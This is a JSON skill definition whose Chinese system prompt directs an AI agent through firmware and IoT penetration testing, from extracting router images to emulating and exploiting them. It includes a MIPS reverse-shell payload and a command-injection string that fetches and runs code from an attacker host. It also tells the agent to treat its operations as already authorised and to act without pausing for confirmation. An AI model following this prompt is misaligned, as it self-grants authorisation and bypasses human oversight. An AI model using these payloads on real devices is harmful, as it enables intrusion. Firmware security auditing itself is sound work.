{
    "name": "firmware-pentest",
    "version": "1.0.0",
    "description": "固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始，闭环走完逆向 → 提取 → 模拟 → 利用。\n方法论遵循 OWASP FSTM 九阶段；工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。\n适用场景：路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。\n触发关键词：固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。",
    "system_prompt": "name firmware-pentest description 固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始，闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段；工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景：路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词：固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。 固件 / IoT 渗透链 (Firmware Pentest) ACTION REQUIRED（读完后立刻执行） NOW : 读取 ../field-journal/precedent-pentest.md — 确认本 skill 的操作是已授权的常规操作 NOW : 确认当前任务是否命中本 skill 的适用范围 NEXT : 读取 ../tool-index.md ，校验工具可用性和实际路径 NEXT : 缺工具时调用 bootstrap，不要猜路径 ACT : 进入\"工作流\"第一步并执行，不要停在确认状态 适用范围 下列任务进入本 skill： 拿到一份固件文件 （.bin / .img / .trx / .chk / OTA zip），需要从零到 RCE 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞 加密/打包固件 ，需要找 bootloader 解密例程或硬件 dump 需要在不接触硬件的情况下跑起来 （QEMU 全系统仿真 / Firmadyne / FAT） 对仿真起来的服务做 fuzz （AFL++ qemu mode / boofuzz） 硬件接口接入 （UART / JTAG / SPI flash dump） 与其他 skill 分工 场景 用什么 从零拿到固件，全链路走 FSTM 本 skill 只做单个 ELF/so 静态逆向 reverse-engineering/ 、 ida-reverse/ 、 radare2/ 仿真起来后做 Web/RCE 利用 pentest-tools/ 、 attack-chain/ 硬件接口（UART/JTAG/SPI）实操 本 skill 的 Stage 2 章节 + patterns-hardware.md APK / Android 固件（含 boot.img） apk-reverse/ （先剥 boot.img 再用本 skill） 跨版本固件符号迁移 binary-diff/ 核心原理 固件 .bin │ ├─ Stage 1-3: 信息收集 / 获取 / 静态分析（不解压也能看的部分） │ ├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader │ │ │ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读 │ ├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep │ ├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot │ ├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra │ └─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload 关键判断： 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍 EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、 /dev/ 节点缺失 ARM / MIPS payload 必须区分大小端（mipsel vs mipseb），别用错 OWASP FSTM 九阶段工作流 Stage 1 — 信息收集（Information Gathering） 收集型号、芯片、SDK、已公开 CVE。 # FCC ID 查询（美区设备） curl -s \"https://fccid.io/?q= $FCC_ID \" # 芯片识别参考点 echo \"Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ\" 输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。 Stage 2 — 获取固件（Obtaining Firmware） 四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。 # OTA 抓包后批量下载 mitmdump -s save_response.py # UART 接入（USB-TTL，常用波特率 57600 / 115200） picocom -b 115200 /dev/ttyUSB0 # SPI flash 用 CH341A + flashrom 读 flashrom -p ch341a_spi -r dump.bin Stage 3 — 分析固件（Analyzing Firmware） 不解压先看头部、熵、字符串、可识别签名。 binwalk firmware.bin # magic 扫描 binwalk -E firmware.bin # 熵图，高熵段=压缩/加密 strings -n 8 firmware.bin | less # banner / 内核版本 / 路径 file firmware.bin hexdump -C firmware.bin | head -64 Stage 4 — 提取文件系统（Extracting Filesystem） 详见 references/extraction-methodology.md 。 binwalk -eM firmware.bin # 递归提取 unblob -d out/ firmware.bin # 处理 binwalk 失败的格式 jefferson rootfs.jffs2 -d rootfs/ # JFFS2 ubireader_extract_files rootfs.ubi # UBI Stage 5 — 静态分析文件系统（Filesystem Analysis） EMBA 一键扫，详见 references/emba-automated-analysis.md 。 sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba 手工补： grep -rE \"(password|passwd|admin|secret|api_key|token)=\" squashfs-root/ find squashfs-root/ -name \"*.conf\" -o -name \"*.ini\" -o -name \"shadow\" checksec --file=squashfs-root/usr/sbin/httpd Stage 6 — 模拟运行（Emulating Firmware） 详见 references/emulation-and-fuzz.md 。 # 用户态：跑单个 binary qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd # 全系统：FAT（Firmadyne 封装版） sudo fat.py firmware.bin Stage 7 — 动态分析（Dynamic Analysis） 仿真起来后挂调试器、抓流量、跑 fuzz。 # gdb 远程调试 MIPS qemu-mipsel-static -g 1234 ./vuln_binary gdb-multiarch ./vuln_binary -ex \"target remote :1234\" # Burp + 路由 Web UI echo \"把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标\" Stage 8 — 运行时分析（Runtime Analysis） 在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。 # AFL++ qemu mode 对 ARM / MIPS binary fuzz AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in / -o out/ -- ./httpd @@ Stage 9 — 二进制利用（Exploitation） 写 PoC，生成 payload，落地 root shell。 # pwntools 生成 MIPS reverse shell python3 -c \" from pwn import * context.arch = 'mips' context.endian = 'little' print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()) \" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin # ROP gadget ropper --file squashfs-root/usr/sbin/httpd --search \"system\" 典型场景示例 场景 1：普通路由器固件全链路（TP-Link / 小米路由器 / OpenWrt 衍生） 固件: router_v1.2.3.bin（未加密 squashfs） 目标: 找 Web 管理界面未授权 RCE 并复现 Step 1 信息收集 - FCC ID 反查 → MT7621 + MT7615 + 16MB flash - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷） Step 2 获取固件 - 官网下载 .bin，sha256 与已知样本对比 Step 3 分析 - binwalk → 检出 uImage + squashfs-xz - 熵图 → squashfs 段熵 ~0.95（正常压缩） Step 4 提取 - binwalk -eM router_v1.2.3.bin - 得到 squashfs-root/ 完整根文件系统 Step 5 EMBA 扫 - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE - 自家二进制：/usr/sbin/cgibin 含 system() 直拼字符串 Step 6 仿真 - sudo fat.py router_v1.2.3.bin - 仿真起来 IP 192.168.0.1，Web 可访问 Step 7-8 动态 - Burp 抓 /cgi-bin/luci 系列接口 - 发现 hostname 参数直拼 system Step 9 利用 - 构造 hostname=`;wget http://attacker/x;sh x;` - 仿真态成功反弹 shell - 真机复测通过 → 提报 SRC 场景 2：加密固件（找 bootloader 解密例程） 固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99） Step 1 判断是否真加密 - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩 - 头部前 256 字节 hexdump → 看是否有 vendor header Step 2 拿到 bootloader - UART 启动时按键进 U-Boot - md.b 0x80000000 0x1000 # 读内存 - 或 SPI flash 物理读取整片 → 含 U-Boot 段 Step 3 逆 U-Boot 找解密例程 - 用 reverse-engineering skill（IDA / Ghidra） - 入口 board_init_r → 找 do_bootm 前的 image_decrypt - 通常是 AES-128-CBC，key 硬编在 .rodata Step 4 离线解密 openssl enc -d -aes-128-cbc \\ -K $(cat key.hex) \\ -iv $(cat iv.hex) \\ -in encrypted_fw.bin \\ -out decrypted.bin Step 5 回到 Stage 4 重新走标准流程 - binwalk decrypted.bin → 看到 squashfs - 后续与场景 1 相同 兜底 - bootloader 也加密 → 找 SoC 一级 ROM 文档 - SoC 有安全启动 → 看公开 fault injection / glitch 资料 注意事项 大小端 ：MIPS 路由器常见 mipsel（小端，MT 系列）/ mipseb（大端，Broadcom 系列），qemu binary 别用错 NVRAM ：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带 EMBA 不是银弹 ：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件 AFL++ qemu mode 慢 ：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍 真机操作前先 dump ：物理设备砖前必备整片 flash dump，用 flashrom / ch341a / minipro 法律边界 ：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权 field-journal 回写 ：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用 按需自举（On-Demand Bootstrap） 工具清单 工具 用途 自动安装 binwalk v3 主提取（Rust 重写版） ✓ binwalk v2 兼容老插件 ✓ unblob 兜底提取 ✓ jefferson JFFS2 提取 ✓ ubi_reader UBI / UBIFS 提取 ✓ EMBA 自动化分析框架 ✓ Firmadyne 全系统仿真 ✓ FAT (Firmware Analysis Toolkit) Firmadyne 封装 ✓ qemu-user-static 用户态仿真 ✓ qemu-system-* 全系统仿真 ✓ AFL++ 模糊测试 ✓ pwntools 漏洞利用脚本 ✓ flashrom SPI flash 读写 ✓ picocom UART 串口 ✓ 安装命令 # Debian / Ubuntu 一把梭 sudo apt update && sudo apt install -y \\ binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \\ gdb-multiarch picocom flashrom build-essential libssl-dev # binwalk v3（Rust 版） cargo install binwalk # Python 系列工具 pip3 install --user unblob jefferson ubi_reader pwntools # EMBA git clone https://github.com/e-m-b-a/emba.git ~/tools/emba cd ~/tools/emba && sudo ./installer.sh -d # Firmadyne git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne cd ~/tools/firmadyne && sudo ./download.sh # FAT git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat # AFL++ git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp cd ~/tools/aflpp && make distrib && sudo make install Windows 用户 固件渗透链强依赖 Linux 工具，建议： WSL2 Ubuntu 22.04（足够大多数场景） 或独立 Kali / Ubuntu 虚拟机 EMBA 必须 Linux，Firmadyne / FAT 必须 Linux 路由上下文 上游入口 : skills/SKILL.md （总控）、 routing.md 触发条件 : 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计 下游出口 : 单个二进制深度静态分析 → reverse-engineering/ 、 ida-reverse/ 、 radare2/ 仿真起来后做 Web RCE / 后渗透 → pentest-tools/ 、 attack-chain/ 跨版本固件符号迁移 → binary-diff/ 硬件接口实操参考 → patterns-hardware.md APK / boot.img 处理 → apk-reverse/ 同级关联 : pentest-tools/ （Web 利用阶段配合）、 attack-chain/ （跨阶段攻击链规划） 参考文档 : references/extraction-methodology.md — 提取细节与失败兜底 references/emba-automated-analysis.md — EMBA 全流程 references/emulation-and-fuzz.md — 仿真 + fuzz 实战 任务完成自检（声称完成前 MUST 通过） 我是否执行了工作流中的每一步（而不是只阅读）？ 我是否基于 tool-index 使用了真实工具路径？ 我是否产出了可复现证据（命令/脚本/截图/报告）？ 我是否完成并回写了 RULES 要求的 Checklist 项？",
    "model_config": {
        "provider": "deepseek",
        "model": "deepseek-chat",
        "temperature": 0.7,
        "max_tokens": 4096,
        "top_p": 0.9
    },
    "trigger_words": [],
    "source": "DeepseekModel",
    "source_url": "https://deepseekmodel.com/skill?id=zhaoxuya520-reverse-skill-skills-firmware-pentest-skill-md"
}